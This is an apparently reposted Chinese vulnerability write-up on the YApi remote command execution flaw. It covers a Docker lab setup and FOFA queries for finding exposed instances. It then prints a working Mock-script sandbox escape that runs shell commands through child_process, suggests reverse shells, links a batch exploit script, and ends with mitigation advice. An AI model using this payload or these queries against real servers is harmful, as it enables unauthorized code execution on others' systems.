美文网首页
Yapi远程命令执行漏洞

Yapi远程命令执行漏洞

作者: 这是什么娃哈哈 | 来源:发表于2021-07-09 00:13 被阅读0次

    0x01 前言

    Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。

    安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:https://github.com/YMFE/yapi/issues/2233

    0x02 漏洞描述

    YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

    YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代

    0x03 FOFA语句

    app="YApi"
    icon_hash="-715193973"
    

    0x04 Yapi部署教程

    使用Docker构建Yapi(Ubuntu环境)。

    启动mongodb。

    docker run -d --name mongo-yapi -p 27017:27017 mongo
    

    获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看

    docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
    

    自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:

    {
      "port": "3000",
      "adminAccount": "admin@qq.com",
      "db": {
        "servername": "mongo-yapi",
        "DATABASE": "yapi",
        "port": 27017
      },
      "mail": {
        "enable": true,//邮件通知
        "host": "smtp.qq.com",//邮箱服务器
        "port": 465,
        "from": "admin@qq.com",//发件人邮箱
        "auth": {
          "user": "adminadmin@qq.com",//邮箱服务器账号
          "pass": "123456"//邮箱服务器密码
        }
      }
    }
    

    初始化Yapi数据库索引及管理员账号。

    
    docker run -it --rm \
      -v /config/config.json:/api/config.json \
      --link mongo-yapi:mongo \
      --entrypoint npm \
      --workdir /api/vendors \
      registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
      run install-server
    

    启动Yapi服务。

    
    docker run -d \
      -v /config/config.json:/api/config.json \
      --name yapi \
      --link mongo-yapi:mongo \
      --workdir /api/vendors \
      -p 3000:3000 \
      registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
      server/app.js
    

    访问http://localhost:3000登录账号admin@qq.com,密码 123456。

    0x05 漏洞利用

    注册用户

    利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。


    添加项目

    添加一个项目。


    输入项目名称,输入完成后点击创建名称


    添加接口

    点击添加接口


    输入接口名称和接口路径,输入完成后点击提交


    添加Mock脚本

    点击高级Mock,并打开脚本页面


    开启脚本,输入Mock脚本

    脚本内容:

    const sandbox = this
    const ObjectConstructor = this.constructor
    const FunctionConstructor = ObjectConstructor.constructor
    const myfun = FunctionConstructor('return process')
    const process = myfun()
    mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
    

    点击保存,打开预览界面。访问Mock地址即可执行命令。


    访问Mock地址

    成功获取当前用户


    可将Mock脚本中的whoami改成任意语句,可执行反弹shell等操作。

    修复建议

    该漏洞暂无补丁。

    临时修复建议:

    1. 关闭YAPI用户注册功能,以阻断攻击者注册。

    2. 利用请求白名单的方式限制 YAPI 相关端口。

    3. 排查 YAPI 服务器是否存在恶意访问记录。

    批量脚本:https://raw.githubusercontent.com/ad-calcium/vuln_script/main/Yapi%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.py

    相关文章

      网友评论

          本文标题:Yapi远程命令执行漏洞

          本文链接:https://www.haomeiwen.com/subject/iguxpltx.html